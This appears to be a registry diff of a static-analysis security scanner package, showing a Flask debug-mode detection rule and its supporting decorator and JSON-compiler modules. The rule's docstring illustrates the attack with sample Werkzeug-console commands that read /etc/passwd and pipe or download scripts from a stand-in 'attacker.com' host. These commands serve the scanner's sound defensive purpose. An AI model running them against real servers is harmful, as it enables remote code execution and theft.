codepathfinder 1.2.0__py3-none-manylinux_2_17_aarch64.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- codepathfinder/__init__.py +48 -0
- codepathfinder/bin/pathfinder +0 -0
- codepathfinder/cli/__init__.py +204 -0
- codepathfinder/config.py +92 -0
- codepathfinder/dataflow.py +193 -0
- codepathfinder/decorators.py +158 -0
- codepathfinder/ir.py +107 -0
- codepathfinder/logic.py +101 -0
- codepathfinder/matchers.py +243 -0
- codepathfinder/presets.py +135 -0
- codepathfinder/propagation.py +250 -0
- codepathfinder-1.2.0.dist-info/METADATA +111 -0
- codepathfinder-1.2.0.dist-info/RECORD +33 -0
- codepathfinder-1.2.0.dist-info/WHEEL +5 -0
- codepathfinder-1.2.0.dist-info/entry_points.txt +2 -0
- codepathfinder-1.2.0.dist-info/licenses/LICENSE +661 -0
- codepathfinder-1.2.0.dist-info/top_level.txt +2 -0
- rules/__init__.py +36 -0
- rules/container_combinators.py +209 -0
- rules/container_decorators.py +223 -0
- rules/container_ir.py +104 -0
- rules/container_matchers.py +230 -0
- rules/container_programmatic.py +115 -0
- rules/python/__init__.py +0 -0
- rules/python/deserialization/__init__.py +0 -0
- rules/python/deserialization/pickle_loads.py +479 -0
- rules/python/django/__init__.py +0 -0
- rules/python/django/sql_injection.py +355 -0
- rules/python/flask/__init__.py +0 -0
- rules/python/flask/debug_mode.py +374 -0
- rules/python/injection/__init__.py +0 -0
- rules/python_decorators.py +177 -0
- rules/python_ir.py +80 -0
|
@@ -0,0 +1,374 @@
|
|
|
1
|
+
"""
|
|
2
|
+
PYTHON-FLASK-001: Flask Debug Mode Enabled in Production
|
|
3
|
+
|
|
4
|
+
Security Impact: HIGH
|
|
5
|
+
CWE: CWE-489 (Active Debug Code)
|
|
6
|
+
CVE: CVE-2015-5306 (Werkzeug Debug PIN Bypass)
|
|
7
|
+
OWASP: A05:2021 - Security Misconfiguration
|
|
8
|
+
|
|
9
|
+
DESCRIPTION:
|
|
10
|
+
This rule detects Flask applications configured with debug mode enabled (debug=True). Running
|
|
11
|
+
Flask with debug mode in production exposes the interactive Werkzeug debugger, which allows
|
|
12
|
+
arbitrary code execution and exposes sensitive application internals.
|
|
13
|
+
|
|
14
|
+
WHAT IS FLASK DEBUG MODE:
|
|
15
|
+
|
|
16
|
+
When `debug=True` is set, Flask enables the Werkzeug interactive debugger. This provides:
|
|
17
|
+
- Interactive Python console in the browser on exceptions
|
|
18
|
+
- Automatic code reloading on file changes
|
|
19
|
+
- Detailed error pages with stack traces
|
|
20
|
+
- Access to application source code
|
|
21
|
+
- Environment variables and configuration
|
|
22
|
+
|
|
23
|
+
**In development**: These features are helpful for debugging.
|
|
24
|
+
**In production**: These features are CRITICAL SECURITY VULNERABILITIES.
|
|
25
|
+
|
|
26
|
+
SECURITY IMPLICATIONS:
|
|
27
|
+
|
|
28
|
+
**1. Remote Code Execution**:
|
|
29
|
+
The Werkzeug debugger provides an interactive Python shell accessible through the browser.
|
|
30
|
+
When an exception occurs, attackers can:
|
|
31
|
+
- Execute arbitrary Python code
|
|
32
|
+
- Access the filesystem
|
|
33
|
+
- Read environment variables (API keys, database passwords)
|
|
34
|
+
- Modify application state
|
|
35
|
+
- Establish reverse shells
|
|
36
|
+
|
|
37
|
+
**2. Information Disclosure**:
|
|
38
|
+
Debug mode exposes:
|
|
39
|
+
- Full source code paths
|
|
40
|
+
- Application structure
|
|
41
|
+
- Secret keys and tokens in stack traces
|
|
42
|
+
- Database connection strings
|
|
43
|
+
- Environment variables
|
|
44
|
+
- Internal network structure
|
|
45
|
+
|
|
46
|
+
**3. Debugger PIN Bypass** (CVE-2015-5306):
|
|
47
|
+
While the debugger is "protected" by a PIN, multiple bypasses have been found:
|
|
48
|
+
- PIN visible in console output (easily accessible on shared servers)
|
|
49
|
+
- PIN bruteforce attacks
|
|
50
|
+
- Time-based side channels
|
|
51
|
+
- Local file disclosure can reveal PIN generation algorithm
|
|
52
|
+
|
|
53
|
+
**4. Denial of Service**:
|
|
54
|
+
- Auto-reload feature can be triggered remotely
|
|
55
|
+
- Exception handlers consume excessive resources
|
|
56
|
+
- Attackers can intentionally trigger crashes
|
|
57
|
+
|
|
58
|
+
VULNERABLE EXAMPLE:
|
|
59
|
+
```python
|
|
60
|
+
from flask import Flask, request
|
|
61
|
+
|
|
62
|
+
app = Flask(__name__)
|
|
63
|
+
|
|
64
|
+
@app.route('/api/users')
|
|
65
|
+
def get_users():
|
|
66
|
+
# Some application logic
|
|
67
|
+
return {'users': [...]}
|
|
68
|
+
|
|
69
|
+
if __name__ == '__main__':
|
|
70
|
+
# DANGEROUS: Debug mode enabled
|
|
71
|
+
app.run(debug=True) # Vulnerable!
|
|
72
|
+
|
|
73
|
+
# Also vulnerable:
|
|
74
|
+
# app.debug = True
|
|
75
|
+
# app.run()
|
|
76
|
+
|
|
77
|
+
# Or via config:
|
|
78
|
+
# app.config['DEBUG'] = True
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
**Attack scenario**:
|
|
82
|
+
1. Attacker triggers an exception (e.g., invalid input)
|
|
83
|
+
2. Werkzeug debugger appears with interactive console
|
|
84
|
+
3. Attacker enters Python code in the console
|
|
85
|
+
4. Attacker gains full application access
|
|
86
|
+
|
|
87
|
+
```python
|
|
88
|
+
# In Werkzeug console:
|
|
89
|
+
import os
|
|
90
|
+
os.system('cat /etc/passwd') # Read system files
|
|
91
|
+
os.system('curl attacker.com/shell.sh | bash') # Reverse shell
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
SECURE EXAMPLE:
|
|
95
|
+
```python
|
|
96
|
+
import os
|
|
97
|
+
from flask import Flask, request
|
|
98
|
+
|
|
99
|
+
app = Flask(__name__)
|
|
100
|
+
|
|
101
|
+
@app.route('/api/users')
|
|
102
|
+
def get_users():
|
|
103
|
+
return {'users': [...]}
|
|
104
|
+
|
|
105
|
+
if __name__ == '__main__':
|
|
106
|
+
# SAFE: Debug mode explicitly disabled
|
|
107
|
+
app.run(debug=False)
|
|
108
|
+
|
|
109
|
+
# BETTER: Use environment variable
|
|
110
|
+
debug_mode = os.getenv('FLASK_DEBUG', 'False') == 'True'
|
|
111
|
+
app.run(debug=debug_mode)
|
|
112
|
+
|
|
113
|
+
# BEST: Don't set it at all (defaults to False)
|
|
114
|
+
app.run() # debug=False is the default
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
PRODUCTION DEPLOYMENT BEST PRACTICES:
|
|
118
|
+
|
|
119
|
+
**1. Use Production WSGI Server** (Recommended):
|
|
120
|
+
```python
|
|
121
|
+
# Don't use app.run() in production at all!
|
|
122
|
+
# Instead, use Gunicorn, uWSGI, or Waitress
|
|
123
|
+
|
|
124
|
+
# gunicorn_config.py
|
|
125
|
+
bind = "0.0.0.0:8000"
|
|
126
|
+
workers = 4
|
|
127
|
+
loglevel = "warning" # Not "debug"
|
|
128
|
+
accesslog = "/var/log/flask/access.log"
|
|
129
|
+
errorlog = "/var/log/flask/error.log"
|
|
130
|
+
|
|
131
|
+
# Run with:
|
|
132
|
+
# gunicorn -c gunicorn_config.py myapp:app
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
**2. Environment-Based Configuration**:
|
|
136
|
+
```python
|
|
137
|
+
import os
|
|
138
|
+
from flask import Flask
|
|
139
|
+
|
|
140
|
+
app = Flask(__name__)
|
|
141
|
+
|
|
142
|
+
# Use environment variables for configuration
|
|
143
|
+
app.config['DEBUG'] = os.getenv('FLASK_ENV') == 'development'
|
|
144
|
+
app.config['TESTING'] = False
|
|
145
|
+
|
|
146
|
+
if __name__ == '__main__':
|
|
147
|
+
# Only runs in local development
|
|
148
|
+
if os.getenv('FLASK_ENV') == 'development':
|
|
149
|
+
app.run(debug=True, host='127.0.0.1', port=5000)
|
|
150
|
+
else:
|
|
151
|
+
print("ERROR: Use a production WSGI server!")
|
|
152
|
+
exit(1)
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
**3. Use Flask Configuration Classes**:
|
|
156
|
+
```python
|
|
157
|
+
class ProductionConfig:
|
|
158
|
+
DEBUG = False
|
|
159
|
+
TESTING = False
|
|
160
|
+
SECRET_KEY = os.environ.get('SECRET_KEY')
|
|
161
|
+
|
|
162
|
+
class DevelopmentConfig:
|
|
163
|
+
DEBUG = True # Only for local development
|
|
164
|
+
TESTING = True
|
|
165
|
+
SECRET_KEY = 'dev-key-only'
|
|
166
|
+
|
|
167
|
+
# In application factory:
|
|
168
|
+
def create_app():
|
|
169
|
+
app = Flask(__name__)
|
|
170
|
+
|
|
171
|
+
if os.getenv('FLASK_ENV') == 'production':
|
|
172
|
+
app.config.from_object(ProductionConfig)
|
|
173
|
+
else:
|
|
174
|
+
app.config.from_object(DevelopmentConfig)
|
|
175
|
+
|
|
176
|
+
return app
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**4. Docker/Container Deployment**:
|
|
180
|
+
```dockerfile
|
|
181
|
+
# Dockerfile
|
|
182
|
+
FROM python:3.11-slim
|
|
183
|
+
|
|
184
|
+
WORKDIR /app
|
|
185
|
+
COPY requirements.txt .
|
|
186
|
+
RUN pip install --no-cache-dir -r requirements.txt
|
|
187
|
+
|
|
188
|
+
COPY . .
|
|
189
|
+
|
|
190
|
+
# Never set FLASK_DEBUG=1 or FLASK_ENV=development here!
|
|
191
|
+
ENV FLASK_ENV=production
|
|
192
|
+
|
|
193
|
+
# Use production server
|
|
194
|
+
CMD ["gunicorn", "--bind", "0.0.0.0:8000", "app:app"]
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
DETECTION AND PREVENTION:
|
|
198
|
+
|
|
199
|
+
**Pre-deployment checks**:
|
|
200
|
+
```bash
|
|
201
|
+
# Scan Flask application for debug mode
|
|
202
|
+
pathfinder scan --project . --ruleset cpf/python/PYTHON-FLASK-001
|
|
203
|
+
|
|
204
|
+
# Automated CI/CD gate:
|
|
205
|
+
# .github/workflows/security.yml
|
|
206
|
+
- name: Check for Flask debug mode
|
|
207
|
+
run: |
|
|
208
|
+
pathfinder ci --project . --ruleset cpf/python/flask
|
|
209
|
+
if [ $? -ne 0 ]; then
|
|
210
|
+
echo "ERROR: Flask debug mode detected!"
|
|
211
|
+
exit 1
|
|
212
|
+
fi
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
**Code Review Checklist**:
|
|
216
|
+
- [ ] No `app.run(debug=True)` in codebase
|
|
217
|
+
- [ ] No `app.debug = True` assignments
|
|
218
|
+
- [ ] No `app.config['DEBUG'] = True` in production config
|
|
219
|
+
- [ ] Production uses WSGI server (Gunicorn, uWSGI)
|
|
220
|
+
- [ ] DEBUG configuration controlled by environment variables
|
|
221
|
+
- [ ] Docker images don't set FLASK_ENV=development
|
|
222
|
+
|
|
223
|
+
**Runtime Monitoring**:
|
|
224
|
+
```python
|
|
225
|
+
# Add startup check
|
|
226
|
+
from flask import Flask
|
|
227
|
+
import os
|
|
228
|
+
|
|
229
|
+
app = Flask(__name__)
|
|
230
|
+
|
|
231
|
+
if app.debug and os.getenv('FLASK_ENV') == 'production':
|
|
232
|
+
raise RuntimeError("CRITICAL: Debug mode enabled in production!")
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
REAL-WORLD ATTACK EXAMPLES:
|
|
236
|
+
|
|
237
|
+
**1. Werkzeug Console RCE**:
|
|
238
|
+
```
|
|
239
|
+
1. Navigate to https://vulnerable-app.com/invalid-url (triggers 404 exception)
|
|
240
|
+
2. Werkzeug debugger appears with "Open an interactive Python shell"
|
|
241
|
+
3. Click console icon, enter PIN (or bypass)
|
|
242
|
+
4. Execute: __import__('os').system('wget attacker.com/backdoor.py')
|
|
243
|
+
5. Full application compromise
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
**2. Information Disclosure**:
|
|
247
|
+
```
|
|
248
|
+
# Stack trace reveals:
|
|
249
|
+
File "/app/config/database.py", line 23
|
|
250
|
+
db_password = "P@ssw0rd123!ProductionDB"
|
|
251
|
+
|
|
252
|
+
# Attacker now has database credentials
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
**3. Source Code Exposure**:
|
|
256
|
+
```
|
|
257
|
+
# Debug page shows full source code:
|
|
258
|
+
@app.route('/admin/secret')
|
|
259
|
+
def admin_secret():
|
|
260
|
+
api_key = "sk-live-abc123..." # API key exposed
|
|
261
|
+
...
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
COMPLIANCE AND AUDITING:
|
|
265
|
+
|
|
266
|
+
**OWASP Top 10 A05:2021**:
|
|
267
|
+
> "Security Misconfiguration - Debug features enabled in production"
|
|
268
|
+
|
|
269
|
+
**CIS Flask Benchmark**:
|
|
270
|
+
> "Ensure debug mode is disabled in production environments"
|
|
271
|
+
|
|
272
|
+
**PCI DSS Requirement 6.5.10**:
|
|
273
|
+
> "Broken Authentication and Session Management - includes debug modes"
|
|
274
|
+
|
|
275
|
+
**NIST SP 800-53**:
|
|
276
|
+
CM-7: Least Functionality - "Remove or disable unnecessary functions"
|
|
277
|
+
|
|
278
|
+
**SOC 2 / ISO 27001**:
|
|
279
|
+
Requires separation of development and production environments
|
|
280
|
+
|
|
281
|
+
MIGRATION GUIDE:
|
|
282
|
+
|
|
283
|
+
**Step 1: Audit all Flask applications**:
|
|
284
|
+
```bash
|
|
285
|
+
# Find all app.run() calls
|
|
286
|
+
grep -rn "app.run(" --include="*.py"
|
|
287
|
+
|
|
288
|
+
# Find all debug=True
|
|
289
|
+
grep -rn "debug.*=.*True" --include="*.py"
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
**Step 2: Replace with environment-based config**:
|
|
293
|
+
```python
|
|
294
|
+
# BEFORE
|
|
295
|
+
app.run(debug=True, port=5000)
|
|
296
|
+
|
|
297
|
+
# AFTER
|
|
298
|
+
import os
|
|
299
|
+
debug = os.getenv('FLASK_DEBUG', 'False') == 'True'
|
|
300
|
+
app.run(debug=debug, port=5000)
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
**Step 3: Switch to production server**:
|
|
304
|
+
```bash
|
|
305
|
+
# Install Gunicorn
|
|
306
|
+
pip install gunicorn
|
|
307
|
+
|
|
308
|
+
# Run in production
|
|
309
|
+
gunicorn --workers 4 --bind 0.0.0.0:8000 myapp:app
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
**Step 4: Add CI/CD checks**:
|
|
313
|
+
```yaml
|
|
314
|
+
# .github/workflows/deploy.yml
|
|
315
|
+
- name: Verify no debug mode
|
|
316
|
+
run: |
|
|
317
|
+
if grep -r "debug=True" *.py; then
|
|
318
|
+
echo "ERROR: Debug mode found!"
|
|
319
|
+
exit 1
|
|
320
|
+
fi
|
|
321
|
+
```
|
|
322
|
+
|
|
323
|
+
WERKZEUG DEBUGGER PIN:
|
|
324
|
+
|
|
325
|
+
Even with a PIN, the debugger is NOT safe:
|
|
326
|
+
- PIN visible in console output
|
|
327
|
+
- PIN can be bruteforced (only 6-8 digits)
|
|
328
|
+
- Multiple PIN bypass CVEs exist
|
|
329
|
+
- **NEVER rely on PIN as security!**
|
|
330
|
+
|
|
331
|
+
Correct approach: **Never enable debug mode in production. Period.**
|
|
332
|
+
|
|
333
|
+
REFERENCES:
|
|
334
|
+
- CWE-489: Active Debug Code (https://cwe.mitre.org/data/definitions/489.html)
|
|
335
|
+
- CVE-2015-5306: Werkzeug Debug PIN Bypass
|
|
336
|
+
- OWASP A05:2021 - Security Misconfiguration
|
|
337
|
+
- Flask Security Docs: https://flask.palletsprojects.com/en/stable/security/
|
|
338
|
+
- Werkzeug Documentation: https://werkzeug.palletsprojects.com/
|
|
339
|
+
- Production Flask Deployment: https://flask.palletsprojects.com/en/stable/deploying/
|
|
340
|
+
|
|
341
|
+
DETECTION SCOPE:
|
|
342
|
+
This rule uses simple pattern matching to detect app.run(debug=True) calls. It does not
|
|
343
|
+
require dataflow analysis as it's a configuration issue, not a data flow vulnerability.
|
|
344
|
+
"""
|
|
345
|
+
|
|
346
|
+
from rules.python_decorators import python_rule
|
|
347
|
+
from codepathfinder import calls, Or
|
|
348
|
+
|
|
349
|
+
|
|
350
|
+
@python_rule(
|
|
351
|
+
id="PYTHON-FLASK-001",
|
|
352
|
+
name="Flask Debug Mode Enabled",
|
|
353
|
+
severity="HIGH",
|
|
354
|
+
category="flask",
|
|
355
|
+
cwe="CWE-489",
|
|
356
|
+
cve="CVE-2015-5306",
|
|
357
|
+
tags="python,flask,debug-mode,configuration,information-disclosure,owasp-a05,cwe-489,production,werkzeug,security,misconfiguration",
|
|
358
|
+
message="Flask debug mode enabled. Never use debug=True in production. Use a production WSGI server like Gunicorn.",
|
|
359
|
+
owasp="A05:2021",
|
|
360
|
+
)
|
|
361
|
+
def detect_flask_debug_mode():
|
|
362
|
+
"""
|
|
363
|
+
Detects Flask applications with debug mode enabled.
|
|
364
|
+
|
|
365
|
+
Matches:
|
|
366
|
+
- app.run(debug=True)
|
|
367
|
+
- *.run(debug=True)
|
|
368
|
+
|
|
369
|
+
Example vulnerable code:
|
|
370
|
+
app = Flask(__name__)
|
|
371
|
+
app.run(debug=True) # Detected!
|
|
372
|
+
"""
|
|
373
|
+
# Use wildcard pattern to match any object's run method with debug=True
|
|
374
|
+
return calls("*.run", match_name={"debug": True})
|
|
File without changes
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Decorators for Python security rules.
|
|
3
|
+
"""
|
|
4
|
+
|
|
5
|
+
import atexit
|
|
6
|
+
import json
|
|
7
|
+
import sys
|
|
8
|
+
from typing import Callable, Dict, Any, List
|
|
9
|
+
from dataclasses import dataclass
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
@dataclass
|
|
13
|
+
class PythonRuleMetadata:
|
|
14
|
+
"""Metadata for a Python security rule."""
|
|
15
|
+
|
|
16
|
+
id: str
|
|
17
|
+
name: str = ""
|
|
18
|
+
severity: str = "MEDIUM"
|
|
19
|
+
category: str = "security"
|
|
20
|
+
cwe: str = ""
|
|
21
|
+
cve: str = ""
|
|
22
|
+
tags: str = ""
|
|
23
|
+
message: str = ""
|
|
24
|
+
owasp: str = ""
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
@dataclass
|
|
28
|
+
class PythonRuleDefinition:
|
|
29
|
+
"""Complete definition of a Python security rule."""
|
|
30
|
+
|
|
31
|
+
metadata: PythonRuleMetadata
|
|
32
|
+
matcher: Dict[str, Any]
|
|
33
|
+
rule_function: Callable
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
# Global registry
|
|
37
|
+
_python_rules: List[PythonRuleDefinition] = []
|
|
38
|
+
_auto_execute_enabled = False
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def _enable_auto_execute() -> None:
|
|
42
|
+
"""
|
|
43
|
+
Enable automatic rule compilation and output when script ends.
|
|
44
|
+
|
|
45
|
+
This provides consistent behavior with code analysis rules -
|
|
46
|
+
no __main__ block needed.
|
|
47
|
+
"""
|
|
48
|
+
global _auto_execute_enabled
|
|
49
|
+
if _auto_execute_enabled:
|
|
50
|
+
return
|
|
51
|
+
|
|
52
|
+
_auto_execute_enabled = True
|
|
53
|
+
|
|
54
|
+
def _output_rules():
|
|
55
|
+
"""Output all Python rules as JSON when script ends."""
|
|
56
|
+
if not _python_rules:
|
|
57
|
+
return
|
|
58
|
+
|
|
59
|
+
# Compile rules to JSON IR format
|
|
60
|
+
from . import python_ir
|
|
61
|
+
|
|
62
|
+
compiled = python_ir.compile_all_rules()
|
|
63
|
+
|
|
64
|
+
# Output to stdout for Go loader to capture
|
|
65
|
+
print(json.dumps(compiled))
|
|
66
|
+
|
|
67
|
+
# Register cleanup handler
|
|
68
|
+
atexit.register(_output_rules)
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def _register_rule() -> None:
|
|
72
|
+
"""
|
|
73
|
+
Check if auto-execution should be enabled when a rule is registered.
|
|
74
|
+
|
|
75
|
+
Enables auto-execution if the module is being executed directly (not imported).
|
|
76
|
+
"""
|
|
77
|
+
# Check if module is being executed directly
|
|
78
|
+
frame = sys._getframe(2) # Get caller's frame (the module defining the rule)
|
|
79
|
+
if frame.f_globals.get("__name__") == "__main__":
|
|
80
|
+
_enable_auto_execute()
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def python_rule(
|
|
84
|
+
id: str,
|
|
85
|
+
name: str = "",
|
|
86
|
+
severity: str = "MEDIUM",
|
|
87
|
+
category: str = "security",
|
|
88
|
+
cwe: str = "",
|
|
89
|
+
cve: str = "",
|
|
90
|
+
tags: str = "",
|
|
91
|
+
message: str = "",
|
|
92
|
+
owasp: str = "",
|
|
93
|
+
) -> Callable:
|
|
94
|
+
"""
|
|
95
|
+
Decorator for Python security rules.
|
|
96
|
+
|
|
97
|
+
Example:
|
|
98
|
+
@python_rule(
|
|
99
|
+
id="PYTHON-001",
|
|
100
|
+
severity="CRITICAL",
|
|
101
|
+
cwe="CWE-89",
|
|
102
|
+
owasp="A03:2021",
|
|
103
|
+
tags="python,sql-injection,django,database"
|
|
104
|
+
)
|
|
105
|
+
def detect_sql_injection():
|
|
106
|
+
return flows(
|
|
107
|
+
from_sources=[calls("request.GET")],
|
|
108
|
+
to_sinks=[calls("cursor.execute")],
|
|
109
|
+
scope="local"
|
|
110
|
+
)
|
|
111
|
+
|
|
112
|
+
Args:
|
|
113
|
+
id: Unique rule identifier (e.g., "PYTHON-DJANGO-001")
|
|
114
|
+
name: Human-readable rule name (auto-generated from function name if not provided)
|
|
115
|
+
severity: Rule severity (CRITICAL, HIGH, MEDIUM, LOW, INFO)
|
|
116
|
+
category: Rule category (security, django, flask, deserialization, etc.)
|
|
117
|
+
cwe: CWE identifier (e.g., "CWE-89")
|
|
118
|
+
cve: CVE identifier (e.g., "CVE-2022-34265")
|
|
119
|
+
tags: Comma-separated tags (e.g., "python,django,sql-injection")
|
|
120
|
+
message: Detection message
|
|
121
|
+
owasp: OWASP category (e.g., "A03:2021")
|
|
122
|
+
|
|
123
|
+
Returns:
|
|
124
|
+
Decorated function that registers the rule
|
|
125
|
+
"""
|
|
126
|
+
|
|
127
|
+
def decorator(func: Callable) -> Callable:
|
|
128
|
+
# Get matcher from function
|
|
129
|
+
matcher_result = func()
|
|
130
|
+
|
|
131
|
+
# Convert to dict if it's a Matcher object
|
|
132
|
+
if hasattr(matcher_result, "to_ir"):
|
|
133
|
+
matcher_dict = matcher_result.to_ir()
|
|
134
|
+
elif hasattr(matcher_result, "to_dict"):
|
|
135
|
+
matcher_dict = matcher_result.to_dict()
|
|
136
|
+
elif isinstance(matcher_result, dict):
|
|
137
|
+
matcher_dict = matcher_result
|
|
138
|
+
else:
|
|
139
|
+
raise ValueError(f"Rule {id} must return a matcher or dict")
|
|
140
|
+
|
|
141
|
+
# Create rule definition
|
|
142
|
+
metadata = PythonRuleMetadata(
|
|
143
|
+
id=id,
|
|
144
|
+
name=name or func.__name__.replace("_", " ").title(),
|
|
145
|
+
severity=severity,
|
|
146
|
+
category=category,
|
|
147
|
+
cwe=cwe,
|
|
148
|
+
cve=cve,
|
|
149
|
+
tags=tags,
|
|
150
|
+
message=message or f"Security issue detected by {id}",
|
|
151
|
+
owasp=owasp,
|
|
152
|
+
)
|
|
153
|
+
|
|
154
|
+
rule_def = PythonRuleDefinition(
|
|
155
|
+
metadata=metadata,
|
|
156
|
+
matcher=matcher_dict,
|
|
157
|
+
rule_function=func,
|
|
158
|
+
)
|
|
159
|
+
|
|
160
|
+
_python_rules.append(rule_def)
|
|
161
|
+
_register_rule() # Enable auto-execution if running as script
|
|
162
|
+
|
|
163
|
+
# Return original function (can be called for testing)
|
|
164
|
+
return func
|
|
165
|
+
|
|
166
|
+
return decorator
|
|
167
|
+
|
|
168
|
+
|
|
169
|
+
def get_python_rules() -> List[PythonRuleDefinition]:
|
|
170
|
+
"""Get all registered Python rules."""
|
|
171
|
+
return _python_rules.copy()
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
def clear_rules():
|
|
175
|
+
"""Clear all registered rules (for testing)."""
|
|
176
|
+
global _python_rules
|
|
177
|
+
_python_rules = []
|
rules/python_ir.py
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
"""
|
|
2
|
+
JSON IR (Intermediate Representation) compiler for Python security rules.
|
|
3
|
+
"""
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
from typing import List, Dict, Any
|
|
7
|
+
|
|
8
|
+
from .python_decorators import get_python_rules
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def compile_python_rules() -> List[Dict[str, Any]]:
|
|
12
|
+
"""
|
|
13
|
+
Compile all Python rules to JSON IR format expected by Go executor.
|
|
14
|
+
|
|
15
|
+
Returns list of rule definitions with structure:
|
|
16
|
+
[
|
|
17
|
+
{
|
|
18
|
+
"rule": {"id": "...", "name": "...", ...},
|
|
19
|
+
"matcher": {...}
|
|
20
|
+
}
|
|
21
|
+
]
|
|
22
|
+
"""
|
|
23
|
+
rules = get_python_rules()
|
|
24
|
+
compiled = []
|
|
25
|
+
|
|
26
|
+
for rule in rules:
|
|
27
|
+
ir = {
|
|
28
|
+
"rule": {
|
|
29
|
+
"id": rule.metadata.id,
|
|
30
|
+
"name": rule.metadata.name,
|
|
31
|
+
"severity": rule.metadata.severity.lower(), # Normalize to lowercase
|
|
32
|
+
"cwe": rule.metadata.cwe,
|
|
33
|
+
"owasp": rule.metadata.owasp,
|
|
34
|
+
"description": rule.metadata.message or f"Security issue detected by {rule.metadata.id}",
|
|
35
|
+
},
|
|
36
|
+
"matcher": rule.matcher,
|
|
37
|
+
}
|
|
38
|
+
compiled.append(ir)
|
|
39
|
+
|
|
40
|
+
return compiled
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
def compile_all_rules() -> List[Dict[str, Any]]:
|
|
44
|
+
"""
|
|
45
|
+
Compile all Python rules to JSON IR array format.
|
|
46
|
+
|
|
47
|
+
Returns array of rules (not dict) for code analysis rules.
|
|
48
|
+
Container rules use dict format {"dockerfile": [...], "compose": [...]},
|
|
49
|
+
but code analysis rules use array format [...].
|
|
50
|
+
"""
|
|
51
|
+
return compile_python_rules()
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def compile_to_json(pretty: bool = True) -> str:
|
|
55
|
+
"""
|
|
56
|
+
Compile all rules to JSON string.
|
|
57
|
+
|
|
58
|
+
Args:
|
|
59
|
+
pretty: If True, format with indentation.
|
|
60
|
+
|
|
61
|
+
Returns:
|
|
62
|
+
JSON string of all compiled rules.
|
|
63
|
+
"""
|
|
64
|
+
compiled = compile_all_rules()
|
|
65
|
+
if pretty:
|
|
66
|
+
return json.dumps(compiled, indent=2)
|
|
67
|
+
return json.dumps(compiled)
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def write_ir_file(filepath: str, pretty: bool = True):
|
|
71
|
+
"""
|
|
72
|
+
Write compiled rules to JSON file.
|
|
73
|
+
|
|
74
|
+
Args:
|
|
75
|
+
filepath: Output file path.
|
|
76
|
+
pretty: If True, format with indentation.
|
|
77
|
+
"""
|
|
78
|
+
json_str = compile_to_json(pretty=pretty)
|
|
79
|
+
with open(filepath, "w") as f:
|
|
80
|
+
f.write(json_str)
|